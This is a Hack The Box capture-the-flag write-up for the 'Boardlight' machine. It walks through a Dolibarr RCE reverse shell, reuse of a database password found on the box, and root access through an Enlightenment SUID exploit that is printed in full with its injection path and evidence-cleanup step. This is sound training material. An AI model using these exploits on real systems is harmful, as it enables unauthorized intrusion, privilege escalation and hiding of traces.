Skip to content

Boardlight

Machine Details

Operating System
Linux
Difficulty
Easy
IP Address
10.129.68.74
Platform
Hack The Box ↗
Resolution Summary
  1. Enumerate subdomains to discover Dolibarr CRM at crm.board.htb.
  2. Authenticate to Dolibarr using default credentials (admin:admin).
  3. Exploit authenticated RCE in Dolibarr v17.0.0 (CVE-2023-30253) to gain a reverse shell as www-data.
  4. Extract database password from conf.php and reuse it to SSH as user ’larissa'.
  5. Escalate privileges to root by exploiting SUID binary enlightenment_sys (CVE-2022-37706).
Used tools
  • nmap
  • ffuf
  • searchsploit
  • netcat
  • python3

Information Gathering

Scanned all TCP ports:

❯ sudo nmap -p- -sS -Pn -n --open -T4 10.129.68.74 -oG ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Enumerated open TCP ports:

❯ sudo nmap -p22,80 -sCV -Pn -n -T4 10.129.68.74 -oN nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)

Enumeration

Port 80 - HTTP (Apache)

Nothing to be featured at main page. We enumerate subdomains.

❯ ffuf -w=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://board.htb" -H "Host: FUZZ.board.htb" -fw 6243
crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 404ms]

CRM Login Page

We can clearly see we have Dolibarr at version 17.0.0. We can also try different logins to find that the credentials are admin@admin.

CRM Logged In


Exploitation

Dolibarr

If we search for vulnerabilities of Dolibarr 17.0.0 we will find a exploit for CVE-2023-30253: https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253/tree/main

The definition of the CVE is the following. Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.

We already have a script to trigger the vulnerability, but if we wanted to do it manually, we would need to create a Website, then a Page, once that page is created edit it’s content using the Edit HTML Source button, screenshot is provided.

CRM Manual Exploit

As we have the script to trigger it, we will use it. First we will start listening in our desired port using netcat. Then we launch the Python script with the arguments <web_page> <username> <password> <local_ip> <local_port>.

# Terminal 1
❯ nc -nlvp 3000
Listening on 0.0.0.0 3000
Connection received on 10.129.68.74 46188
bash: cannot set terminal process group (876): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$

# Terminal 2
❯ python3 cve-2023-30253-exploit.py http://crm.board.htb admin admin 10.10.17.107 3000
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

Lateral Movement to larissa

Local Enumeration

First we will list the usernames.

www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ grep "sh$" /etc/passwd
<d.htb/htdocs/public/website$ grep "sh$" /etc/passwd            
root:x:0:0:root:/root:/bin/bash
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash

We can find the MySQL password in the file /var/www/html/crm.board.htb/htdocs/conf/conf.php.

www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
<?php
...
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';

Lateral Movement vector

And we can reuse that password to log in as larissa.

❯ ssh larissa@board.htb
larissa@board.htb's password: 
larissa@boardlight:~$

We can find user flag in it’s home.


Privilege Escalation to root

Local Enumeration

First we will list the SUID executables in the system.

larissa@boardlight:~$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset

Where we will find enlightenment_.... We can check it’s version with enlightenment --version.

larissa@boardlight:~$ enlightenment --version
ESTART: 0.00003 [0.00003] - Begin Startup
ESTART: 0.00101 [0.00098] - Signal Trap
ESTART: 0.00102 [0.00002] - Signal Trap Done
ESTART: 0.00212 [0.00109] - Eina Init
ESTART: 0.00382 [0.00170] - Eina Init Done
ESTART: 0.00385 [0.00003] - Determine Prefix
ESTART: 0.00496 [0.00111] - Determine Prefix Done
ESTART: 0.00499 [0.00003] - Environment Variables
ESTART: 0.00500 [0.00002] - Environment Variables Done
ESTART: 0.00509 [0.00009] - Parse Arguments
Version: 0.23.1
E: Begin Shutdown Procedure!

Privilege Escalation vector

If we search in internet that exact version we will see that it has the CVE-2022-37706, which would allow us to escalate privileges to root.

We can also see that exploitdb has uploaded the exploit for this vulnerability. This means we can search it using searchsploit.

❯ searchsploit enlightenment
------------------------------------------------------------------------------------------------------------------------------------- 
 Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------
Enlightenment - Linux Null PTR Dereference Framework | linux/local/9627.txt
Enlightenment v0.25.3 - Privilege escalation | linux/local/51180.txt
-------------------------------------------------------------------------------------------------------------------------------------

Altough the title says it’s for 0.25.3, it is valid for versions up to (excluding) 0.25.4.

If we read the txt we can find the code which we need to run.

#!/usr/bin/bash
# Idea by MaherAzzouz
# Development by nu11secur1ty

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

# The actual problem
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
        echo "[-] Couldn't find the vulnerable SUID file..."
        echo "[*] Enlightenment should be installed on your system."
        exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Welcome to the rabbit hole :)"

# FIX THE FOLLOWING LINE
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

read -p "Press any key to clean the evedence..."
echo -e "Please wait... "

sleep 5
rm -rf /tmp/exploit
rm -rf /tmp/net
echo -e "Done; Everything is clear ;)"
larissa@boardlight:~$ ./exploit.sh 
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Welcome to the rabbit hole :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)

We can find root flag in it’s home.


Trophy

User.txt

331535dfb07b6325eb785bf9059e008f

Root.txt

9a769f5983f9cbe053be2f4c8b47384e